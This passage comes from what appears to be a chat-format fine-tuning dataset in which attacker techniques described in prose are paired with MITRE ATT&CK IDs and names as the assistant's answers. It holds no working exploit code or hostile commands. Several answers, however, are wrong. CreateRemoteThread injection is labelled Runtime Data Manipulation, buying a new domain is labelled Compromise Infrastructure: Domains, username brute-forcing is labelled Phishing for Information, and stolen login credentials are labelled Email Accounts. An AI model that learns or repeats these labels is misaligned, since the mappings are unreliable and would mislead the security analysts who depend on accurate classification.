                "role": "assistant",
                "content": "T1027.005 - Obfuscated Files or Information: Indicator Removal from Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor used a compromised IoT device's web interface to host a drive‑by payload that inspects the visitor's geolocation data and only infects devices located within a specified country."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider alters the server-side configuration to lower the MFA enforcement level, allowing single-factor authentication for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group registers multiple similar domains to evade detection and host command and control servers."
            },
            {
                "role": "assistant",
                "content": "T1583.001 - Acquire Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses the at command to schedule a malicious command to run once after a delay of 5 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries execute a PowerShell command 'New-LocalUser' followed by 'Add-ADGroupMember' to create and assign a domain account for persistence."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exploits a partnership with a threat intel vendor to receive early alerts on newly disclosed vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant encrypts its traffic with RSA‑OAEP, establishing an encrypted channel for command delivery."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor stages stolen data on a compromised external host using rsync over SSH."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds malicious VBA macros in a Word template that executes when the template is opened, allowing code execution."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a crafted SSH login request that triggers a buffer overflow in the SSH daemon, allowing them to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor copies a file to a new location using the ‘copy /b’ command, which strips the Mark of the Web and evades execution restrictions."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruders obtain admin rights on a VPS and configure it as a reverse proxy for their C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker reuses a previously captured SSH client authentication token to resume a prior session on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer runs an AppleScript to silently install a hidden kernel extension."
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerable federation trust, the adversary issues custom authentication tickets that are accepted by both cloud and on‑premises services."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code alters DNS over HTTPS (DoH) responses, redirecting traffic to attacker-controlled servers."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embedded a malicious Windows executable within a legitimate installer package, then altered the embedded file’s signature to be invalid yet still passed the installer’s signature verification."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder accesses a router's CLI and runs commands to export configuration files to an external server."
            },
            {
                "role": "assistant",
                "content": "T1059.008 - Command and Scripting Interpreter: Network Device CLI"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a scheduled task that triggers a malicious DLL via wscript.exe."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a malicious Lambda function to call AWS Secrets Manager and extract database credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The tool encrypts its outbound traffic with AES-256 before sending it over TCP."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the DNS TXT record mechanism to hide C2 traffic within legitimate DNS lookups."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious traffic is sent using the same ports and signatures as legitimate RDP sessions."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed lateral movement by mounting the remote IPC$ share and executing commands."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Uses code injection via CreateRemoteThread to execute malicious routines inside a target process’s memory space."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts user credentials, encrypts them using a reversible cipher, and writes the encrypted values back into the Windows SAM to allow future decryption."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker tampers with the mobile app’s credential storage, converting plaintext passwords into a reversible encrypted format that can be undone to retrieve the original secret."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker forged a phishing email that appeared to come from the internal IT department, complete with the company's branding and a legitimate-looking attachment named \"Password_Reset.pdf\"."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a covert channel by sending periodic DNS TXT record requests that contain encrypted command instructions from the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor used the Unix \"find\" command within a shell script to locate files containing sensitive keywords."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker renames a remote admin tool binary with a Right-to-Left Override character so defenders see a legitimate utility name in directory listings."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses an encrypted channel that dynamically changes its encryption keys to avoid signature-based detection."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker rented a botnet from a third‑party cybercrime marketplace to launch DDoS attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a user-writable cron directory (/var/spool/cron/crontabs) to drop a script that steals credentials and exfiltrates them via an HTTP POST request."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the attacker extracts credentials from Outlook PST files and credential caches left on the network share."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script terminates the security agent process and prevents it from restarting."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the pre‑configured \"administrator\" account on a Windows workstation, which retains its default password."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host uploaded sensitive logs to a cloud storage service via the victim's SMTP email channel."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries install a cron job that runs daily to copy stolen data to a remote FTP server."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary reads the SAM file on a compromised Windows host to harvest local account password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages the \"ctr\" CLI tool with \"ctr containers list\" to enumerate containers in a containerd environment."
            },
            {
                "role": "assistant",
                "content": "T1613 - Container and Resource Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executes a shell command that calls 'systeminfo' and parses the output to find the machine's geographic location."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a persistent SSH tunnel from a compromised external server to a host inside the target network, allowing traffic to flow across the network boundary."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The post-exploitation phase runs a PowerShell script that fills the disk with junk data to wipe it."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses the native function NtWriteVirtualMemory to write malicious code into a remote process's address space."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The perpetrator gathers information on the victim's organizational chart by analyzing conference speaker lists and industry webinars."
            },
            {
                "role": "assistant",
                "content": "T1591 - Gather Victim Org Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers subvert an existing remote service session, such as a remote PowerShell session, to deploy ransomware."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware corrupts the boot configuration data (BCD) to point to a malicious bootloader that runs before Windows loads."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious email is sent from a hijacked internal user to other accounts, containing a PowerShell script that runs upon execution."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gathering intelligence on a target organization's cloud security controls, such as access keys and credentials."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits the Verclsid utility to run a payload by embedding a reference to it in a malicious Windows registry key."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker hijacks an active SSH session by injecting malicious commands through a man‑in‑the‑middle position after compromising the client machine."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistence mechanism involved adding a .lnk shortcut to the user's profile startup folder that invokes a malicious batch file."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses credentials stolen during a previous breach to authenticate and move laterally within the network, often without detection due to the valid credentials being used."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker searches for and collects credential files left on the system, such as passwd.txt, that were unintentionally left accessible."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries abuse the Remote Services technique T1021.003 by invoking DCOM interfaces to execute code on a remote Windows endpoint."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor launches a password spraying attack, trying a few common passwords across many user accounts."
            },
            {
                "role": "assistant",
                "content": "T1110.001 - Brute Force: Password Guessing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes Sysinternals ProcDump to list processes before selecting one for injection."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script is executed via the Linux 'cron' daemon to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor compromised a third‑party software updater by signing a rogue update with stolen code‑signing certificates, causing users to install malware."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries deployed a Python web shell on the target's Apache server, granting them a foothold for further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a script that wipes all entries from /var/log/auth.log on a compromised Linux host."
            },
            {
                "role": "assistant",
                "content": "T1070.002 - Indicator Removal: Clear Linux or Mac System Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a CDN-like fast-flux network, frequently updating DNS to obscure the true location of the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1568.001 - Dynamic Resolution: Fast Flux DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses Windows Remote Desktop Protocol to move laterally across the network."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes a secure shell (SSH) connection to compromised Linux hosts to execute commands remotely."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a legitimate social media API as a dead‑drop resolver, embedding C2 messages in post comments for the malware to retrieve."
            },
            {
                "role": "assistant",
                "content": "T1102.001 - Web Service: Dead Drop Resolver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload utilizes PowerShell's -EncodedCommand parameter with compressed, base64-encoded script blocks."
            },
            {
                "role": "assistant",
                "content": "T1027.010 - Obfuscated Files or Information: Command Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit looks for a recent user login event in the security log and halts if none is found, indicating a virtual sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group sets up a new cloud account in Alibaba Cloud to serve as a staging ground for further attacks."
            },
            {
                "role": "assistant",
                "content": "T1585.003 - Establish Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a stolen username and password to gain access to a system, what is the technique used?"
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers purchase a new domain name and use it as a phishing landing page for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Intruder performs brute‑force enumeration of valid usernames on the victim's authentication portal."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors poison the traffic of a VPN tunnel by injecting malicious payloads into the IPsec ESP packets to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a malicious DLL placed in a shared network folder to compromise a Windows file server."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker crafts a .chtml file that starts calc.exe via mshta.exe, demonstrating how legitimate system binaries can be abused as proxies for malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
